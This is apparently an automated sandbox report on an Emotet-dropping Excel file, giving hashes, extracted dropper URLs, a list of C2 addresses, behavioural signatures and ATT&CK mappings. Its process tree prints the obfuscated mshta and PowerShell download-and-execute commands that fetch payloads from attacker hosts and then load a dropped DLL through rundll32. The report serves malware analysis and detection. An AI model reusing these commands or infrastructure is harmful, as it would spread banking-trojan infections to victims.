emotet | f74964dbb9ba817e9acbccfc6c081eee34f21cb4d1942c7aafe8ecc867761917

General

Target

f74964dbb9ba817e9acbccfc6c081eee34f21cb4d1942c7aafe8ecc867761917.xls
Size

141KB
MD5

52c71979386ac643247d9d73585dba55
SHA1

42822423168d51c2ff0a9c939fa139c29add0de7
SHA256

f74964dbb9ba817e9acbccfc6c081eee34f21cb4d1942c7aafe8ecc867761917
SHA512

26744f67592a65554601bfbc28256b2efd611ccfccf3798a8825e0e808728f799e26a639c3d651fd8bf74a105bc4b4746c7f3a317ade95a7807f6ca0eb841018

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2276	3808	cmd.exe	68

Blocklisted process makes network request 5 IoCs

flow	pid	Process
37	1056	mshta.exe
39	3752	powershell.exe
41	3752	powershell.exe
43	3752	powershell.exe
52	1480	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
4076	rundll32.exe
1192	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Stfbkuaqtnti\yffjkcgypv.cvy	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
700	1056	WerFault.exe	75

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3808	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3752	powershell.exe
3752	powershell.exe
3752	powershell.exe
700	WerFault.exe
700	WerFault.exe
700	WerFault.exe
700	WerFault.exe
700	WerFault.exe
700	WerFault.exe
700	WerFault.exe
700	WerFault.exe
700	WerFault.exe
700	WerFault.exe
700	WerFault.exe
700	WerFault.exe
700	WerFault.exe
700	WerFault.exe
1480	rundll32.exe
1480	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3752	powershell.exe
Token: SeDebugPrivilege	700	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3808	EXCEL.EXE
3808	EXCEL.EXE
3808	EXCEL.EXE
3808	EXCEL.EXE
3808	EXCEL.EXE
3808	EXCEL.EXE
3808	EXCEL.EXE
3808	EXCEL.EXE
3808	EXCEL.EXE
3808	EXCEL.EXE
3808	EXCEL.EXE
3808	EXCEL.EXE
3808	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 3808 wrote to memory of 1748	3808	EXCEL.EXE	72
PID 3808 wrote to memory of 1748	3808	EXCEL.EXE	72
PID 3808 wrote to memory of 2276	3808	EXCEL.EXE	73
PID 3808 wrote to memory of 2276	3808	EXCEL.EXE	73
PID 2276 wrote to memory of 1056	2276	cmd.exe	75
PID 2276 wrote to memory of 1056	2276	cmd.exe	75
PID 1056 wrote to memory of 3752	1056	mshta.exe	76
PID 1056 wrote to memory of 3752	1056	mshta.exe	76
PID 3752 wrote to memory of 1164	3752	powershell.exe	80
PID 3752 wrote to memory of 1164	3752	powershell.exe	80
PID 1164 wrote to memory of 4076	1164	cmd.exe	81
PID 1164 wrote to memory of 4076	1164	cmd.exe	81
PID 1164 wrote to memory of 4076	1164	cmd.exe	81
PID 4076 wrote to memory of 1192	4076	rundll32.exe	82
PID 4076 wrote to memory of 1192	4076	rundll32.exe	82
PID 4076 wrote to memory of 1192	4076	rundll32.exe	82
PID 1192 wrote to memory of 3732	1192	rundll32.exe	85
PID 1192 wrote to memory of 3732	1192	rundll32.exe	85
PID 1192 wrote to memory of 3732	1192	rundll32.exe	85
PID 3732 wrote to memory of 1480	3732	rundll32.exe	86
PID 3732 wrote to memory of 1480	3732	rundll32.exe	86
PID 3732 wrote to memory of 1480	3732	rundll32.exe	86

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\f74964dbb9ba817e9acbccfc6c081eee34f21cb4d1942c7aafe8ecc867761917.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3808
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1748
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2276
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1056
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3752
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1164
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:4076
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1192
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Stfbkuaqtnti\yffjkcgypv.cvy",DtiTgCCegkWR
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3732
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Stfbkuaqtnti\yffjkcgypv.cvy",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1480
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1056 -s 1956
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:700

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1192-835-0x00000000055B0000-0x00000000055D6000-memory.dmp

Filesize
152KB

Download
memory/1192-831-0x0000000005450000-0x0000000005476000-memory.dmp

Filesize
152KB

Download
memory/1192-829-0x00000000053F0000-0x0000000005416000-memory.dmp

Filesize
152KB

Download
memory/1192-827-0x0000000005270000-0x0000000005296000-memory.dmp

Filesize
152KB

Download
memory/1192-824-0x0000000004D20000-0x0000000004D46000-memory.dmp

Filesize
152KB

Download
memory/1480-838-0x0000000004170000-0x0000000004196000-memory.dmp

Filesize
152KB

Download
memory/1480-836-0x0000000000BB0000-0x0000000000BD6000-memory.dmp

Filesize
152KB

Download
memory/3732-832-0x0000000002F80000-0x0000000002FA6000-memory.dmp

Filesize
152KB

Download
memory/3752-489-0x0000021CBC9D0000-0x0000021CBCAC0000-memory.dmp

Filesize
960KB

Download
memory/3752-534-0x0000021CBC9D0000-0x0000021CBCAC0000-memory.dmp

Filesize
960KB

Download
memory/3752-510-0x0000021CD5360000-0x0000021CD539C000-memory.dmp

Filesize
240KB

Download
memory/3752-491-0x0000021CBCAF0000-0x0000021CBCB12000-memory.dmp

Filesize
136KB

Download
memory/3752-521-0x0000021CD5420000-0x0000021CD5496000-memory.dmp

Filesize
472KB

Download
memory/3752-490-0x0000021CBC9D0000-0x0000021CBCAC0000-memory.dmp

Filesize
960KB

Download
memory/3808-118-0x00007FFB83070000-0x00007FFB83080000-memory.dmp

Filesize
64KB

Download
memory/3808-130-0x00007FFB7FCD0000-0x00007FFB7FCE0000-memory.dmp

Filesize
64KB

Download
memory/3808-129-0x00007FFB7FCD0000-0x00007FFB7FCE0000-memory.dmp

Filesize
64KB

Download
memory/3808-120-0x00007FFB83070000-0x00007FFB83080000-memory.dmp

Filesize
64KB

Download
memory/3808-116-0x00007FFB83070000-0x00007FFB83080000-memory.dmp

Filesize
64KB

Download
memory/3808-119-0x00007FFB83070000-0x00007FFB83080000-memory.dmp

Filesize
64KB

Download
memory/3808-117-0x00007FFB83070000-0x00007FFB83080000-memory.dmp

Filesize
64KB

Download
memory/3808-868-0x00007FFB83070000-0x00007FFB83080000-memory.dmp

Filesize
64KB

Download
memory/3808-869-0x00007FFB83070000-0x00007FFB83080000-memory.dmp

Filesize
64KB

Download
memory/3808-870-0x00007FFB83070000-0x00007FFB83080000-memory.dmp

Filesize
64KB

Download
memory/3808-871-0x00007FFB83070000-0x00007FFB83080000-memory.dmp

Filesize
64KB

Download
memory/4076-819-0x0000000004BE0000-0x0000000004C06000-memory.dmp

Filesize
152KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads